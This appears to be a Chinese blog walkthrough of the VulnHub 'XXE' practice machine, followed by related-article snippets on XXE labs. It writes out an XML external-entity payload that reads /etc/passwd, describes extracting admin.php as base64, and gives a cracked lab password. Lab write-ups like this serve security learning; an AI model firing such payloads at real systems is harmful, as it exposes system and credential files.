XXE靶机

最新推荐文章于 2024-03-16 20:35:30 发布
最新推荐文章于 2024-03-16 20:35:30 发布
阅读量682 收藏 2
点赞数
分类专栏： 漏洞复现
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/haha13l4/article/details/99097024
版权

一、 收集信息
存活主机
在这里插入图片描述
开放端口
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
存在注入
Post包里面添加

<?xml version=“1.0″ encoding=“UTF-8″?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
 <root><name>&admin;</name><password>1</password></root>

在这里插入图片描述
注出admin.php页面，然后base64解密
在这里插入图片描述
得到账号密码
在这里插入图片描述
解密e6e061838856bf47e1de730719fb2609 admin@123
账号：administhebest
登陆
在这里插入图片描述
在这里插入图片描述
得到flag
在这里插入图片描述
先进行base32解密，再进行base64解密。
在这里插入图片描述
读取这个文件看一看
在这里插入图片描述
解码

这。。。。看起来像php？复制下来保存到本地，命名为1.php，放到wamp中访问一波

在这里插入图片描述

haha13l4
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
XXEinjector.zip
08-24
XXEinjector 一款XXE注入测试工具，可以通过命令行快速检测可能存在的XXE漏洞！
vulnhub-XXE靶机渗透
banacyo14206的博客
08-24 368
靶机： 下载链接:https://download.vulnhub.com/xxe/XXE.zip XXE注入工具下载： https://download.csdn.net/download/weixin_41082546/11609927 CTFCrackTools解码工具： https://download.csdn.net/download/weixin_410825...
XXE漏洞原理和pikachu靶场实验
最新发布
03-16 852
本文介绍XXE漏洞原理、危害和分类，以及pikachu靶场XXE4个实验。
xxe靶机
shy的博客
01-15 353
开始之前先回忆一下nmap 一直都知道nmap功能很强大，但是平时工作中就只用来扫描端口，渐渐的都忘记了其它的功能及使用方法，正好今天做靶场需要用nmap进行存活主机发现，总结下nmap的使用方法。 场景一：主机发现 nmap -sP 192.168.44.0/24 使用ping命令来发现存活主机 场景二：端口扫描 nmap -v -sV -p- 192.168.44.138...
靶机xxe
weixin_43940853的博客
03-03 155
靶机主要考察的就是xxe，过程很简单，而且没有涉及提权，就走一遍流程，后面重点总结 访问admin.php显示404，访问xxe目录 发现了xml，直接xxe攻击 直接读取passwd的信息，下面以同样方法读取admin.php 解密出来登录不了，原来xxe目录下也存在这一个admin.php 将得到的字符串先base32解密 base64解密得到一个路径 解密后是一个利用自增...
XXE靶机详解
like_niustyle的博客
09-14 596
常规思路：先扫描端口，扫描目录 这里有点迷惑了，我用nessus扫了一遍扫出来两个开放端口：80和5335,。但是用nmap只扫描出来了一个80 端口 不知道是什么原因，有懂的大佬可以解释一下 不管了，根据后面的结果来看端口多一个少一个完全不影响 照例访问80： 没啥用，apache默认页面 端口5335访问不了 接下来扫目录，御剑和dirb都可以，看用什么系统了 index.html依然是apache的默认界面 robots.txt: xxe是目录，admin.php是页面 xxe: xx
5、XXE漏洞pdf资料
10-15
5、XXE漏洞
XXE - 防御策略-01
09-15
XXE - 防御策略-01
Blackhat USA 2015 XXE
12-25
Blackhat USA 2015 XXE
xxe 6.5 完美破解
03-03
1、首先到官网上下载安装xxe 6.5版本，安装完成后不要急着打开 2、打开XMLmind_XML_Editor\bin\xxe.jar，找到com\xmlmind\xmleditapp\app\DesktopApp.class替换成我给的DesktopApp.class就行了 3、现在就可以...
渗透：vulnhub-XXE 靶机
m0_46412682的博客
09-13 1150
渗透：vulnhub-XXE 靶机 一、靶机下载 靶机XXE 下载地址: https://download.vulnhub.com/xxe/XXE.zip 二、装靶机 ①把下载好的压缩包解压到我自己的D盘：F:\虚拟机数据\XXE ②右键双击xxe.ovf-->打开方式-->VMware，存储在自己喜欢的位置 导入后，打开虚拟机 就这样，然后设置nat模式 我们这里的VM...
XXE靶机渗透
zzgslh的博客
04-12 803
靶机描述 XXE靶机，目标获取flag。 （下载链接:https://download.vulnhub.com/xxe/XXE.zip）。 渗透测试过程 端口扫描 使用nmap扫描发现开放80，5355端口。 访问web服务 1.首先访问80端口，页面是Ubuntu的默认页面。 2.使用御剑扫描web目录，发现存在robots.txt目录。 3.访问robots.txt目录...
PIKACHU之XXE
qq_62078839的博客
04-18 769
概述 XXE -"xml external entity injection" 既"xml外部实体注入漏洞"。 概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题" 也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。 具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。 现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。 以PHP为例,在PHP里
vulnhub-XXE漏洞靶机流程（图文+工具包）
qq_45514735的博客
03-05 5715
靶机下载链接 http://download.vulnhub.com/xxe/XXE.zip win下全套工具包 链接：https://pan.baidu.com/s/1joOWbE6823GuFyBm92sR0A 提取码：r0xn 一、首先打开靶机 靶机是不给你账号密码的，为了防止你直接混入系统查找flag，通常密码都会先设置的非常复杂，不要想着破解了。 二、打开nmap对内网进行一次扫描找到靶机 在虚拟机里找到你的内网ip池以及掩码 填入nmap，配置选择Qui......
Pikachu-XXE
baynk的博客
11-19 3973
0x00 XXE -“xml external entity injection” 既"xml外部实体注入漏洞"。 概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题" 也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。 现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从...
pikachu-xxe
m0_62094846的博客
09-19 218
然后就能在本地的日志里看到test.txt的内容了（要开访问日志权限）但是这里面返回速度很快的，在网页上测试的时候还是回显很慢，感觉有点问题。但是扫描80端口会快，81会慢，因为80端口开放了。点 response received进行排序。在WWW下保存以test.dtd为名的文件。选择 response received。测试一下是否有xxe漏洞，且是否有回显。把echo $html 注释掉。两个回显都是这样的报错信息。填好数据，然后开始爆破。表示出来，再进行排序。
XXE（XML外部实体注入）漏洞
weixin_45253622的博客
03-26 437
XXE：“xml external entity injection” 漏洞原理 XXE(XMLExternal Entity Injection)也就是XML外部实体注入，XXE漏洞发生在应用程序解析XML输入时，XML文件的解析依赖libxml库，而libxml2.9以前的版本默认支持并开启了对外部实体的引用，服务端解析用户提交的XML文件时，未对XML文件引用的外部实体(含外部一般实体和外部参数实体）做合适的处理，并且实体的URL支持file://和ftp://等协议，导致可加载恶意外部文件和代码，造
pikachu之xxe
qq_43665434的博客
02-19 431
pikachu之xxe XML基础知识 参考文章 一、什么是xxe？ XXE即“xml external entity injection”即“xml外部实体注入漏洞”。 攻击者通过向服务器注入指定的xml实体内容，从而让服务器按照指定的配置进行执行，导致问题。 也就是说服务端接收和解析了来自用户端的xml数据，而又没有做严格的安全控制，从而导致xml外部实体注入。 现在很多语言里对应的解析xml的函数默认是禁止解析xml外部实体内容的 就如在php中，对于xml的解析用的是libxml，在libxml版
PentesterLab XXE
08-12
PentesterLab XXE是一个关于XML注入（XXE）的培训平台，它提供了关于XXE漏洞的理论知识和实际演练。XXE漏洞是一种安全漏洞，利用XML解析器对外部实体的处理不当，使攻击者能够读取本地文件、执行远程请求等。通过...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值